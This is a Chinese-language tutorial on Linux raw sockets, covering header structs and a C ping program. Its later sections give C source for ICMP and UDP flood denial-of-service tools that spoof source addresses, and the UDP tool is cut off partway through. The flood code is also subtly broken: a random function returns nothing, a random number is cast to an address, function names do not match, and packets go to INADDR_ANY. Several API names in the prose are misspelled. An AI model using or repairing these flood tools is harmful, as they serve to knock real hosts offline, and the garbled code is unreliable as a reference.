原始套接字
一、概述
- 发送一个自定义的IP包。
- 发送ICMP数据报。
- 网卡的侦听模式,监听网络上的数据包。
- 伪装IP地址。
- 自定义协议的实现。
要解决上面这些问题需要原始套接字。原始套接字主要应用在底层网络编程上,之前的TCP、UDP的套接字称为标准套接字,下图所示为标准套接字与原始套接字之间的关系。标准套接字与网络协议栈的TCP、UDP层打交道,而原始套接字则与IP层级网络协议栈核心打交道。
原始套接字提供以下3种标准套接字不具备的功能。
-
使用原始套接字可以读/写
ICMP、IGMP
分组。例:ping程序就使用原始套接字发送ICMP回显请求,并接受ICMP回显应答。用于多播的守护程序mrouted
,同样适用原始套接字来发送和接收IGMP分组。上述功能同样允许使用ICMP或者IGMP
构造的应用程序完全作为用户进程处理,而不必再增加过多的内核编码。例如,路由发现守护进程即以这种方式构造。它处理内核完全不知道的两个ICMP消息。 -
使用原始套接字可以读写特殊的IP数据报,内核不处理这些数据报的协议字段。大多数内核只处理
ICMP 、CIGMP、TCP和UDP
的数据报。但协议字段还可能为其他值。大多数内核只处理CICMP、CIGMP 、TCP和UDP
的数据报。但协议字段还可能为其他值。例如,OSPF路由协议
就不适用TCP或者UDP
,而直接使用IP
, 将IP数据报的协议字段设为89。因此,由于这些数据报包含内核完全不知道的协议字段,实现OSPF协议的gated程序
必须使用原始套接字来读写它们。 -
使用原始套接字,利用函数setsockopt()设置套接字选项,使用
IP _HDRINGCL
可以对IP头部进行操作,因此可以修改IP数据和IP层之上的各层数据,构造自己的特定类型的TCP或者UDP的分组。
二、原始套接字的创建
原始套接字的创建使用与通用套接字创建的方法是一致的,只是在套接字类型的选项上使用的是另 一 个 SOCK_RAW
。在使用 socket()函数进行函数创建完毕的时候,还要进行套接字数据中格式类型的指定,设置从套接字中可以接收到的网络数据格式。
1.SOCK_RAW选项
创建原始套接字使用socket()函数,第二个参数设置为SOCK_ RAW
:
//AF_INET协议族中的原始套接字
//协议类型protocol
int rawsock = socket(AF_INET,SOCK_RAW,protocol);
//protocol, 一般情况下不能设置为0, 需要用户自己设置想要的类型,形如 IPPROTO_ xxx的常量,在文件<netinet/in.h>中定义。
//例:IPPROTO _ICMP 表示是一 个ICM P 协议。
常用协议的类型和含义:
IPPROTO_IP
: IP协议,接收或者发送IP数据包,包含IP头部。IPPROTO_ICMP
: ICMP协议,接收或者发送ICMP的数据包,IP的头部不需要处理。IPPROTO_TCP
: TCP协议,接收或者发送TCP数据包。IPPROTO_UDP
: UDP协议,接收或者发送UDP数据包。IPPROTO _RAW
: 原始IP包。
2.IP_HDRINCL套接字选项
IP_HDRINCL
设置套接字,在之后进行的接收和发送时,接收到的数据包含IP的头部。
用户之后需要对IP层相关的数据段进行处理,例如IP头部数据的设置和分析,校验和的计算等。设置方法如下:
int set = 1;
if(setsocket(rawsock,IPPROTO_IP,IP_HDRINCL,&set,sizeof(set))<0){
//错误处理
}
3.不需绑定bind()函数
原始套接字不需使用bind(函数,因为进行发送和接收数据的时候可以指定要发送和接收的目的地址的IP。
//使用函数sendto()和函数recvfrom()来发送和接收数据,
//sendto()和recvfrom()函数分别需要指定IP地址。
sendto(rawsock,data,datasize,0,(struct sockaddr*) &to,sizeof(to));
recvfrom(rawsock,data,size,0,(struct sockaddr)&from,&len);
当系统对socket进行绑定的时候,发送和接收的函数可以使用send()和recv()及read()和write()等,不需要指定目的地址的函数。
三、原始套接字发送报文
原始套接字发送报文原则:
-
可以使用sendto()函数并指定发送目的地址来发送数据,当已经指定了bind()目标地址的时候可以使用write()或者send()发送数据。
-
若使用setsockopt()设置了选项
IP_RINCL
, 则发送的数据缓冲区指向IP头部第一个字节的头部,用户发送的数据包含IP 头部之后的所有数据,需要用户自己填写IP头部和计算校验,并需要对所包含数据进行处理和计算。 -
若没有设置
IP_RINCL
, 则发送缓冲区指向IP头部后面数据区域的第一 个字节,不需要用户填写IP头部,IP头部的填写工作由内核进行,内核还进行校验和的计算。
例如
sendto(rawsock,buffer,len,O,(struct sockaddr*)&to,sizeof(to));
//当IP_RINCL已经设置的时候,buffer指向的就是用户构建包含IP头部在内的数据结构
//IP_RINCL没有设置,则buffer指向了IP头部后面缓冲区的数据
//例如后面为ICMP数据报文,则需要填写ICMP的类型、代码等,并计算其校验和。
四、原始套接字接收报文
原始套接字接收报文原则:
recvfrom()或者recv()及read()
获得数据。- 设置了
IP_RINCL
,接收的缓冲区为IP头部的第 一 个字节。 - 没有设置IP_RINCL,接收的缓冲区为IP数据区域的第 一 个字节。
接收报文还有自己的一 些特点,主要有如下几个:
-
ICMP的协议,绝大部分数据可以通过原始套接字获得,例如回显请求、响
应、时间戳请求等。 -
接收的UDP和TCP协议的数据不会传给任何原始套接字接口,这些协议的数据需
要通过数据链路层获得。 -
如果IP以分片形式到达,则所有分片都已经接收到并重组后才传给原始套接字。
-
内核不能识别的协议、格式等传给原始套接字,因此,可以使用原始套接字定义用户自己的协议格式。
原始套接字接收报文的规则如下:
-
若接收的报文数据中的协议类型与自定义的原始套接字匹配,那么将接收的所有数据复制入套接字中。
-
若套接字绑定了本地地址,那么只有当接收的报文数据IP头中的目的地址等于本地地址时,接收到的数据才复制到套接字中;
- 若套接字定义了远端地址,那么,只有接收数据IP头中对应的源地址与远端地址匹配,接收的数据才复制到套接字中。
-
五、原始套接字报文处理时的结构
1.IP头部的结构
IP头部结构:
Linux下结构struct ip的数据类型:
struct ip
{
#if _BYTE ORDER == _LITTLE_ENDIAN //如果为小端
unsigned int ip_hl:4;//头部长度
unsigned int ip_v:4;//版本
#endif
#if _BYTE_ORDER == _BIG_ENDIAN//如果为大端
unsigned int ip_v:4;//版本
unsigned int ip_hl:4;//头部长度
#endif
u_int8_t ip_tos;//TOS,服务类型
u_short ip_len;//总长度
u_short ip_id;//标识值
u_short ip_off;//段偏移值
...
...
u_int8_t ip_ttl;TTL, //生存时间
u_int8_t ip_p;//协议类型
u_short ip_sum;//校验和订
struct irt_addr ip_src, ip_dst;//源地址和目的地址
};
Liunx成员示意图:
2.ICMP头部结构
ICMP的头部结构比较复杂,主要包含消息类型icmp_type
、消息代码icmp_code
、校验和icmp_cksum
等,不同的ICMP类型其他部分有不同的实现。ICMP的头部结构如下图所示。
①.ICMP的头部结构
常用的ICMP报文包括:
- ECHO-REQUEST(响应请求消息)、ECHO-REPLY(响应应答消息)
- DestinationUmeachable (目标不可到达消息)、TimeExceeded (超时消息)
- Parameter Problems(参数错误消息)、SourceQuenchs (源抑制消息)
- Redirects(重定向消息)、Timestamps(时间戳消息)
- TimestampReplies (时间戳响应消息)、AddressMasks (地址掩码请求消息)
- Address Mask Replies (地址掩码响应消息)
ICMP的头部结构代码在Linux下,如下所示:
struct icmp
{
u_int8_t icmp_type; /* 消息类型 */
u_int8_t icmp_code; /* 消息类型的子码 */
u_int16_t icmp_cksum; /* 校验和 */
union
{
u_char ih_pptr; /* ICMP_PARAMPROB */
struct in_addr ih_gwaddr; /* 网关地址 */
struct ih_idseq /* 显示数据报 */
{
u_int16_t icd_id;//数据报ID
u_int16_t icd_seq;//数据报的序号
} ih_idseq;
u_int32_t ih_void;
/* ICMP_UNREACH_NEEDFRAG -- Path MTU Discovery (RFC1191) */
struct ih_pmtu
{
u_int16_t ipm_void;
u_int16_t ipm_nextmtu;
} ih_pmtu;
struct ih_rtradv
{
u_int8_t irt_num_addrs;
u_int8_t irt_wpa;
u_int16_t irt_lifetime;
} ih_rtradv;
} icmp_hun;
#define icmp_pptr icmp_hun.ih_pptr
#define icmp_gwaddr icmp_hun.ih_gwaddr
#define icmp_id icmp_hun.ih_idseq.icd_id
#define icmp_seq icmp_hun.ih_idseq.icd_seq
#define icmp_void icmp_hun.ih_void
#define icmp_pmvoid icmp_hun.ih_pmtu.ipm_void
#define icmp_nextmtu icmp_hun.ih_pmtu.ipm_nextmtu
#define icmp_num_addrs icmp_hun.ih_rtradv.irt_num_addrs
#define icmp_wpa icmp_hun.ih_rtradv.irt_wpa
#define icmp_lifetime icmp_hun.ih_rtradv.irt_lifetime
union
{
struct
{
u_int32_t its_otime;//时间戳协议请求时间
u_int32_t its_rtime;//时间戳协议接收时间
u_int32_t its_ttime;//时间戳协议传输时间
} id_ts;
struct
{
struct ip idi_ip;
/* options and then 64 bits of data */
} id_ip;
struct icmp_ra_addr id_radv;
u_int32_t id_mask;//子网掩码的子网掩码
u_int8_t id_data[1];//数据
} icmp_dun;
#define icmp_otime icmp_dun.id_ts.its_otime//时间戳协议请求时间
#define icmp_rtime icmp_dun.id_ts.its_rtime//时间戳协议接收时间
#define icmp_ttime icmp_dun.id_ts.its_ttime//时间戳协议传输时间
#define icmp_ip icmp_dun.id_ip.idi_ip
#define icmp_radv icmp_dun.id_radv
#define icmp_mask icmp_dun.id_mask//子网掩码的子网掩码
#define icmp_data icmp_dun.id_data
};
②.不同类型的ICMP请求
子网掩码请求协议的位置如下图所示,增加了标识符icmp_id、序列号icmp_seq和掩码icmp_mask。
时间戳请求协议如图所示,增加了标识符icmp_id、序列号icmp_seq及表示请求时间的icmp_ctime、接收时间的icmp_rtime和传输时间icmp_ttime。
3.UDP头部结构
UDP的头部结构包含发送端的源端口号、数据接收端的目的端口号、UDP数据的长度,以及UDP的校验和等信息。UDP头部结构如下图所示。
在Linux下UDP头部的结构类型为struct udphdr
,提供两种类型:
#ifdef _FAVOR_BSD //BSD样式
struct udphdr
{
u_int16_t uh_sport;//源地址端口
u_int16_t uh_dport;//目的地址端口
u_int16_t uh_ulen;//UDP长度
u_int16_t uh_sum;//UDP校验和
};
#else //Linux样式
struct udphdr
{
u_int16_t source;//源地址端口
u_int16_t dest;//目的地址端口
u_int16_t len;//UDP长度
u_int16_t check;//UDP校验和
};
#endif
Liunx下UDP示意图:
4.TCP头部结构
TCP 的头部结构主要包含发送端的源端口、接收端的目的端口、数据的序列号、上一个数据的确认号、滑动窗口大小、数据的校验和、紧急数据的偏移指针,以及一 些控制位等信息。 TCP 头部结构如图 13.11所示。
Linux 下 TCP 头部结构 struct tcphdr
定义如下,对于小端和大端系统,有不一致的定义:
struct tcphdr
{
_u16 source;//源地址端口
_u16 dest;//目的地址端口
_u16 seq;//序列号
_u16 ack_seq;//确认序列号
#if defined(_LITTLE_ENDIAN_BITFIELD)
_u16 resl:4,//保留
doff:4,//偏移
fin:1,// 关闭连接标志
syn: 1,//请求连接标志
rst: 1,//重置连接标志
psh:1,//接收方尽快将数据放到应用层标志
ack: 1,//确认序号标志
urg:1, //紧急指针标志
ece:1, //拥塞标志位
cwr:1;//拥塞标志位
#elif defiend(_BIG_ENDIAN_BITFIELD)
_u16 doff:4,//偏移
resl:4,//保留
cwr:1,//拥塞标志位
ece:1,//拥塞标志位
urg:1, //紧急指针标志
ack:1,//确认序号标志
psh:1,//接收方尽快将数据放到应用层标志
rst:1,//重置连接标志
syn:1,//请求连接标志
fin:1;//关闭连接标志
#else
#error "Adjust your <asm/byteorder.h> defines"
#endif
_u16 window;//滑动窗口大小
_u16 check;//校验和
_u16 urg_ptr;//紧急字段指针
};
Linux下的TCP:
六、ping的例子
ping 命令向目的主机发送ICMPECHO_ REQUEST
请求并接收目的主机返回的响应报文,用来检验本地主机和远程的主机是否连接。
1.协议格式
ICMP协议报文的格式, ping 的客户端方式的类型为8,代码值为 0,表示ICMP的回显请求。类型为0, 代码为0时,是ICMP回显应答。校验和为 16 位的crc16
的算法。
下图所示为ping 所使用的类型和代码格式。包含16位的标识符和16位的序列号。序列号是用于标识发送或者响应的序号,而标识符通常用于表明发送和接收此报的用户,一 般用进程的PID来识别。
例如,一个用户的进程PID为 1000
, 发送了一个序列号为1的回显请求报文,当此报文被目的主机正确处理并返回后,可以用PID来识别是否为当前的用户,并且用序列号来识别哪个报文被返回。通过发送报文到目的主机并接受响应,可以计算发送和接收二者之间的时间差,来判断网络的状况。
ping 程序一 般按照图中的框架进行设计。
主要分为发送数据和接收数据及计算时间差。
发送数据对组织好的数据进行发送,接收数据从网络上接收数据并判断其合法性,例如判断是否本进程发出的报文等。
由于 ICMP 必须使用原始套接字进行设计,要手动设置 IP 的头部和 ICMP 的头部并进行校验。
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <signal.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h> /*bzero*/
#include <netdb.h>
#include <pthread.h>
/*保存已经发送包的状态值*/
typedef struct pingm_pakcet{
struct timeval tv_begin; /*发送的时间*/
struct timeval tv_end; /*接收到的时间*/
short seq; /*序列号*/
int flag; /*1,表示已经发送但没有接收到回应包0,表示接收到回应包*/
}pingm_pakcet;
static pingm_pakcet pingpacket[128];
static pingm_pakcet *icmp_findpacket(int seq);
static unsigned short icmp_cksum(unsigned char *data, int len);
static struct timeval icmp_tvsub(struct timeval end,struct timeval begin);
static void icmp_statistics(void);
static void icmp_pack(struct icmp *icmph, int seq, struct timeval *tv, int length );
static int icmp_unpack(char *buf,int len);
static void *icmp_recv(void *argv);
static void *icmp_send(void *argv);
static void icmp_sigint(int signo);
static void icmp_usage();
#define K 1024
#define BUFFERSIZE 72 /*发送缓冲区大小*/
static char send_buff[BUFFERSIZE];
static char recv_buff[2*K]; /*为防止接收溢出,接收缓冲区设置大一些*/
static struct sockaddr_in dest; /*目的地址*/
static int rawsock = 0; /*发送和接收线程需要的socket描述符*/
static pid_t pid=0; /*进程PID*/
static int alive = 0; /*是否接收到退出信号*/
static short packet_send = 0; /*已经发送的数据包有多少*/
static short packet_recv = 0; /*已经接收的数据包有多少*/
static char dest_str[80]; /*目的主机字符串*/
static struct timeval tv_begin, tv_end,tv_interval;
/*本程序开始发送、结束和时间间隔*/
static void icmp_usage()
{
/*ping加IP地址或者域名*/
printf("ping aaa.bbb.ccc.ddd\n");
}
/*主程序*/
int main(int argc, char *argv[])
{
struct hostent * host = NULL;
struct protoent *protocol = NULL;
char protoname[]= "icmp";
unsigned long inaddr = 1;
int size = 128*K;
/*参数是否数量正确*/
if(argc < 2)
{
icmp_usage();
return -1;
}
/*获取协议类型ICMP*/
protocol = getprotobyname(protoname);
if (protocol == NULL)
{
perror("getprotobyname()");
return -1;
}
/*复制目的地址字符串*/
memcpy(dest_str, argv[1], strlen(argv[1])+1);
memset(pingpacket, 0, sizeof(pingm_pakcet) * 128);
/*socket初始化*/
rawsock = socket(AF_INET, SOCK_RAW, protocol->p_proto);
if(rawsock < 0)
{
perror("socket");
return -1;
}
/*为了与其他进程的ping程序区别,加入pid*/
pid = getuid();
/*增大接收缓冲区,防止接收的包被覆盖*/
setsockopt(rawsock, SOL_SOCKET, SO_RCVBUF, &size, sizeof(size));
bzero(&dest, sizeof(dest));
/*获取目的地址的IP地址*/
dest.sin_family = AF_INET;
/*输入的目的地址为字符串IP地址*/
inaddr = inet_addr(argv[1]);
if(inaddr == INADDR_NONE)
{
/*输入的是DNS地址*/
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname");
return -1;
}
/*将地址复制到dest中*/
memcpy((char *)&dest.sin_addr, host->h_addr, host->h_length);
}
else /*为IP地址字符串*/
{
memcpy((char*)&dest.sin_addr, &inaddr, sizeof(inaddr));
}
/*打印提示*/
inaddr = dest.sin_addr.s_addr;
printf("PING %s (%ld.%ld.%ld.%ld) 56(84) bytes of data.\n",
dest_str,
(inaddr&0x000000FF)>>0,
(inaddr&0x0000FF00)>>8,
(inaddr&0x00FF0000)>>16,
(inaddr&0xFF000000)>>24);
/*截取信号SIGINT,将icmp_sigint挂接上*/
signal(SIGINT, icmp_sigint);
alive = 1; /*初始化为可运行*/
pthread_t send_id, recv_id; /*建立两个线程,用于发送和接收*/
int err = 0;
err = pthread_create(&send_id, NULL, icmp_send, NULL); /*发送*/
if(err < 0)
{
return -1;
}
err = pthread_create(&recv_id, NULL, icmp_recv, NULL); /*接收*/
if(err < 0)
{
return -1;
}
/*等待线程结束*/
pthread_join(send_id, NULL);
pthread_join(recv_id, NULL);
/*清理并打印统计结果*/
close(rawsock);
icmp_statistics();
return 0;
}
//校验和函数
/*CRC16校验和计算icmp_cksum
参数:
data:数据
len:数据长度
返回值:
计算结果,short类型
*/
static unsigned short icmp_cksum(unsigned char *data, int len)
{
int sum=0; /*计算结果*/
int odd = len & 0x01; /*是否为奇数*/
/*将数据按照2字节为单位累加起来*/
while( len & 0xfffe) {
sum += *(unsigned short*)data;
data += 2;
len -=2;
}
/*判断是否为奇数个数据,若ICMP报头为奇数个字节,会剩下最后一字节*/
if( odd) {
unsigned short tmp = ((*data)<<8)&0xff00;
sum += tmp;
}
sum = (sum >>16) + (sum & 0xffff); /*高低位相加*/
sum += (sum >>16) ; /*将溢出位加入*/
return ~sum; /*返回取反值*/
}
/*设置ICMP报头*/
static void icmp_pack(struct icmp *icmph, int seq, struct timeval *tv, int length )
{
unsigned char i = 0;
//设置报头;对ICMP结构的简化
icmph->icmp_type = ICMP_ECHO; /*ICMP回显请求*/
icmph->icmp_code = 0; /*code值为0*/
icmph->icmp_cksum = 0; /*先将cksum值填写0,便于之后的cksum计算*/
icmph->icmp_seq = seq; /*本报的序列号*/
icmph->icmp_id = pid &0xffff; /*填写PID*/
for(i = 0; i< length; i++)
icmph->icmp_data[i] = i;
/*计算校验和*/
icmph->icmp_cksum = icmp_cksum((unsigned char*)icmph, length);
}
//剥离ICMP接受报文的头部
/*解压接收到的包,并打印信息*/
static int icmp_unpack(char *buf,int len)
{
int iphdrlen;
struct ip *ip = NULL;
struct icmp *icmp = NULL;
int rtt;
ip=(struct ip *)buf; /*IP头部*/
iphdrlen=ip->ip_hl*4; /*IP头部长度*/
icmp=(struct icmp *)(buf+iphdrlen); /*ICMP段的地址*/
len-=iphdrlen;
/*判断长度是否为ICMP包*/
if( len<8)
{
printf("ICMP packets\'s length is less than 8\n");
return -1;
}
/*ICMP类型为ICMP_ECHOREPLY并且为本进程的PID*/
if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id== pid) )
{
struct timeval tv_internel,tv_recv,tv_send;
/*在发送表格中查找已经发送的包,按照seq*/
pingm_pakcet* packet = icmp_findpacket(icmp->icmp_seq);
if(packet == NULL)
return -1;
packet->flag = 0; /*取消标志*/
tv_send = packet->tv_begin; /*获取本包的发送时间*/
gettimeofday(&tv_recv, NULL); /*读取此时间,计算时间差*/
tv_internel = icmp_tvsub(tv_recv,tv_send);
rtt = tv_internel.tv_sec*1000+tv_internel.tv_usec/1000;
/*打印结果,包含
* ICMP段长度
* 源IP地址
* 包的序列号
* TTL
* 时间差
*/
printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%d ms\n",
len,
inet_ntoa(ip->ip_src),
icmp->icmp_seq,
ip->ip_ttl,
rtt);
packet_recv ++; /*接收包数量加1*/
}
else
{
return -1;
}
return 0;
}
/*计算时间差time_sub
参数:
end,接收到的时间
begin,开始发送的时间
返回值:
使用的时间
*/
static struct timeval icmp_tvsub(struct timeval end,struct timeval begin)
{
struct timeval tv;
/*计算差值*/
tv.tv_sec = end.tv_sec - begin.tv_sec;
tv.tv_usec = end.tv_usec - begin.tv_usec;
/*如果接收时间的usec值小于发送时的usec值,从usec域借位*/
if(tv.tv_usec < 0)
{
tv.tv_sec --;
tv.tv_usec += 1000000;
}
return tv;
}
/*发送ICMP回显请求包*/
static void* icmp_send(void *argv)
{
/*保存程序开始发送数据的时间*/
gettimeofday(&tv_begin, NULL);
while(alive)
{
int size = 0;
struct timeval tv;
gettimeofday(&tv, NULL); /*当前包的发送时间*/
/*在发送包状态数组中找一个空闲位置*/
pingm_pakcet *packet = icmp_findpacket(-1);
if(packet)
{
packet->seq = packet_send; /*设置seq*/
packet->flag = 1; /*已经使用*/
gettimeofday( &packet->tv_begin, NULL); /*发送时间*/
}
icmp_pack((struct icmp *)send_buff, packet_send, &tv, 64 );
/*打包数据*/
size = sendto (rawsock, send_buff, 64, 0, /*发送给目的地址*/
(struct sockaddr *)&dest, sizeof(dest) );
if(size <0)
{
perror("sendto error");
continue;
}
packet_send++; /*计数增加*/
/*每隔1s,发送一个ICMP回显请求包*/
sleep(1);
}
}
/*接收ping目的主机的回复*/
static void *icmp_recv(void *argv)
{
/*轮询等待时间*/
struct timeval tv;
tv.tv_usec = 200;
tv.tv_sec = 0;
fd_set readfd;
/*当没有信号发出一直接收数据*/
while(alive)
{
int ret = 0;
FD_ZERO(&readfd);
FD_SET(rawsock, &readfd);
ret = select(rawsock+1,&readfd, NULL, NULL, &tv);
switch(ret)
{
case -1:
/*错误发生*/
break;
case 0:
/*超时*/
break;
default:
{
/*接收数据*/
int size = recv(rawsock, recv_buff,sizeof(recv_buff),
0);
if(errno == EINTR)
{
perror("recvfrom error");
continue;
}
/*解包,并设置相关变量*/
ret = icmp_unpack(recv_buff, size);
if(ret == -1)
{
continue;
}
}
break;
}
}
}
/*查找一个合适的包位置
*当seq为-1时,表示查找空包
*其他值表示查找seq对应的包*/
static pingm_pakcet *icmp_findpacket(int seq)
{
int i=0;
pingm_pakcet *found = NULL;
/*查找包的位置*/
if(seq == -1) /*查找空包的位置*/
{
for(i = 0;i<128;i++)
{
if(pingpacket[i].flag == 0)
{
found = &pingpacket[i];
break;
}
}
}
else if(seq >= 0) /*查找对应seq的包*/
{
for(i = 0;i<128;i++)
{
if(pingpacket[i].seq == seq)
{
found = &pingpacket[i];
break;
}
}
}
return found;
}
/*打印全部ICMP发送接收统计结果*/
static void icmp_statistics(void)
{
long time = (tv_interval.tv_sec * 1000 )+ (tv_interval.tv_usec/1000);
printf("--- %s ping statistics ---\n",dest_str); /*目的IP地址*/
printf("%d packets transmitted, %d received, %d%% packet loss, time %ldms\n",
packet_send, /*发送*/
packet_recv, /*接收*/
(packet_send-packet_recv)*100/packet_send, /*丢失百分比*/
time); /*时间*/
}
/*终端信号处理函数SIGINT*/
static void icmp_sigint(int signo)
{
alive = 0; /*告诉接收和发送线程结束程序*/
gettimeofday(&tv_end, NULL); /*读取程序结束时间*/
tv_interval = icmp_tvsub(tv_end, tv_begin); /*计算一下总共所用时间*/
return;
}
编译运行:出现4个相应按Ctrl+C键,结果如下:
七、洪水攻击
-
**洪水攻击(FLOOD ATTACK)**指的是利用计算机网络技术向目标机发送大量的无用数据报文(大量的请求来淹没目标机),使得目标主机忙于处理无用的数据报文而无法提供正常服务的网络行为。
-
洪水攻击主要利用了网络协议的安全机制或者直接用十分简单的 ping 资源的方法来对目标机造成影响。
-
攻击的手段主要是使用畸形的报文来让目标机进行处理或者等待,一般都是在原始套接字层进行程序设计
洪水攻击主要分为ICMP、UDP和SYN攻击3种类型:
-
ICMP回显攻击利用原始套接字向目标机发送大量的回显请求或者回显响应数据,由于此数据协议栈默认是必须处理的,因此可以对目标机造成影响。
-
UDP攻击则向目标机UDP服务端口发送UDP报文,由于目标机需要对端口进行处理,如果知道目标机的基本数据格式,则可以构建十分有效的代码来对目标机造成很大伤害。
-
SYN攻击利用了TCP连接中的三次握手,在发送一个SYN原始报文后,目标机需要对发送的报文进行处理并等待超时。
八、ICMP洪水攻击
1.ICMP洪水攻击的原理
ICMP Flood是一种在ping基础上形成的,但是用ping程序很少能造成目标机宕机的问题。这里边最大的问题是提高处理的速度。ICMP洪水攻击主要有以下3种方式:
-
直接洪水攻击:这样做需要本地主机的带宽与目标主机之间带宽进行比拼。可以采用多线程的方法一次性地发送多个ICMP请求报文,让目标主机处理过程出现问题而速度缓慢或者宅机。直接攻击的方法有一个缺点,就是可以根据来源的IP地址屏蔽攻击源,并且目标源容易暴露,被对方反攻击。
-
伪装IP攻击:在直接洪水攻击的基础上,将发送方的IP地址用伪装的IP地址代替。将直接洪水攻击的缺点进行了改进。
-
反射攻击:让其他一群主机误认为目标机在向它们发送ICMP请求包,一群主机向目标机发送ICMP应答包。
攻击方
向一群主机发送ICMP请求,将请求的源地址伪装成目标机的IP地址,这样目标机就成了ICMP回显反射的焦点。攻击方的IP地址为10.10.10.10,向一组服务器a、b、...
等发送ICMP回显请求报文,并将发送方的IP地址伪装成目标机的IP地址10.10.8.10
。服务器组在经过处理后,会发送ICMP的回显报文给目标机。
2.ICMP洪水攻击的例子
#include<stdio.h>
#include<ctype.h>
#include<unistd.h>
#include<fcntl.h>
#include<signal.h>
#include<sys/time.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netdb.h>
#include<errno.h>
#include<stdlib.h>
#include<time.h>
#include<netinet/ip.h>
#include<netinet/ip_icmp.h>
#include<pthread.h>
#include<string.h>
#include<arpa/inet.h>
#define MAXCHILD 128//最多线程数
static unsigned long dest = 0;//目的的IP地址
static int PROTO_ICMP = -1;//ICMP协议值
static int alive = -1;//程序互动标志
static int rawsock;
static void DoS_icmp(void);
/*随机函数产生函数
* 由于系统的函数为随机函数
* 其与初始化有关,因此每次用不同值进行初始化*/
static inline long myrandom(int begin,int end)
{
int gap = end-begin+1;
int ret = 0;
//用系统时间初始化
srand((unsigned)time(0));
//产生一个介于begin和end之间的值
ret = random()%gap +begin;
}
//多线程函数,一直进行syn连接
static void *DoS_fun(void *ip)
{
while(alive)
{
Dos_icmp();
}
}
static void DoS_icmp(void)
{
struct sockaddr_in to;
struct ip *iph;
struct icmp *icmph;
char *packet;
int pktsize = sizeof(struct ip)+sizeof(struct icmp)+64;
packet = malloc(pktsize);
iph = (struct ip *)packet;
icmph= (struct icmp*)(packet+sizeof(struct ip));
memset(packet,0,pktsize);
iph->ip_v= 4;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = htons(pktsize);
iph->ip_id = htons(getpid ());
iph->ip_off = 0;
iph->ip_ttl = 0x0;
iph->ip_p = PROTO_ICMP;
iph->ip_sum= 0;
iph->ip_src = *(struct in_addr*)myrandom(0,65535);
icmph->icmp_type = ICMP_ECHO;
icmph->icmp_code = 0;
icmph->icmp_cksum = htons(~(ICMP_ECHO<<8));
to.sin_family = AF_INET;
to.sin_addr.s_addr = INADDR_ANY;
to.sin_port = htons(0);
sendto(rawsock,packet,pktsize,0,(struct sockaddr *)&to,sizeof(struct sockaddr));
free(packet);
}
static void DoS_sig()
{
alive = 0;
printf("pthread exit!\n");
return;
}
int main(int argc,char *argv[])
{
struct hostent *host = NULL;
struct protoent *protocol = NULL;
char protoname[] = "icmp";
int i=0;
pthread_t pthread[MAXCHILD];
int err = -1;
alive = 1;
signal(SIGINT,DoS_sig);//截取信号Ctrl+C
if(argc<2)//参数是否正确
{
return -1;
}
protocol = getprotobyname(protoname);//获取协议类型ICMP
if(protocol == NULL)
{
perror("getprotobyname()");
return -1;
}
PROTO_ICMP = protocol->p_proto;
dest = inet_addr(argv[1]);//输入的目的地址为字符串IP地址
if(dest == INADDR_NONE)
{
host = gethostbyname(argv[1]);//输入的主机地址为DNS地址
if(host == NULL)
{
perror("gethostbynaem");
return -1;
}
//将地址复制到dest
unsigned long temp = inet_addr(host->h_addr);
memcpy((char *)&dest,&temp,host->h_length);
}
rawsock = socket(AF_INET,SOCK_RAW,PROTO_ICMP);
if(rawsock<0)
rawsock = socket(AF_INET,SOCK_RAW,PROTO_ICMP);
setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//设置IP选项
for(i=0;i<MAXCHILD;i++)//建立多个线程协同工作
{
err = pthread_create(&pthread[i],NULL,DoS_fun,NULL);
}
for(i=0;i<MAXCHILD;i++)//等待线程结束
{
pthread_join(pthread[i],NULL);
}
close(rawsock);
return 0;
}
九、UDP洪水攻击
#include<stdio.h>
#include<string.h>
#include<signal.h>
#include<sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <pthread.h>
#include<arpa/inet.h>
#define MAXCHILD 128 //最多线程数
static unsigned long dest=0; //目的IP地址
static int PROTO_UDP =-1; //UDP协议的值
static int alive=-1; //程序活动标志
static int dest_port=0; //目的端口
static int rawsock=-1; //原始套接字
//函数声明
static inline long myrandom(int begin,int end); //自定义随机函数
static unsigned short Dos_cksum(unsigned short* data,int length);//CRC校验
static void Dos_udp(); //UDP核心处理函数
static void *Dos_fun(void *ip); //线程处理函数Dos_udp
static void Dos_sig(); //信号处理函数,捕捉ctrl+c
int main(int argc,char* argv[])
{
struct hostent* host=NULL;
struct protoent* protocol=NULL;
char protoname[]="udp";
int i=0;
pthread_t pthread[MAXCHILD];
int err=-1;
alive=1;
signal(SIGINT,Dos_sig); //截取信号ctrl+c
//参数设置是否正确
if(argc<3)
{
return -1;
}
//获取协议类型UDP
protocol=getprotobyname(protoname);
if(protocol==NULL)
{
perror("getprotobyname()");
return -1;
}
PROTO_UDP=protocol->p_proto;
//输入的目的地址为字符串IP地址
dest=inet_addr(argv[1]);
if(dest==INADDR_NONE)
{
//输入目的地址为DNS地址
host=gethostbyname(argv[1]);
if(host==NULL)
{
perror("gethostbyname()");
return -1;
}
//将地址复制到dest中
memcpy((char*)&dest,host->h_addr,host->h_length);
}
//目的端口
dest_port=atoi(argv[2]);
//建立原始socket
rawsock=socket(AF_INET,SOCK_RAW,PROTO_UDP);
//设置IP选项
setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//建立多个线程协同工作
for(i=0;i<MAXCHILD;i++)
{
err=pthread_create(&pthread[i],NULL,Dos_fun,NULL);
} //等待线程结束
for(i=0;i<MAXCHILD;i++)
{
pthread_join(pthread[i],NULL);
}
close(rawsock);
return 0;
}
//CRC16校验
static unsigned short Dos_cksum(unsigned short* data,int length)
{
register int left=length;
register unsigned short* word=data;
register int sum=0;
unsigned short ret=0;
//计算偶数字节
while(left>1)
{
sum+=*word++;
left-=2;
}
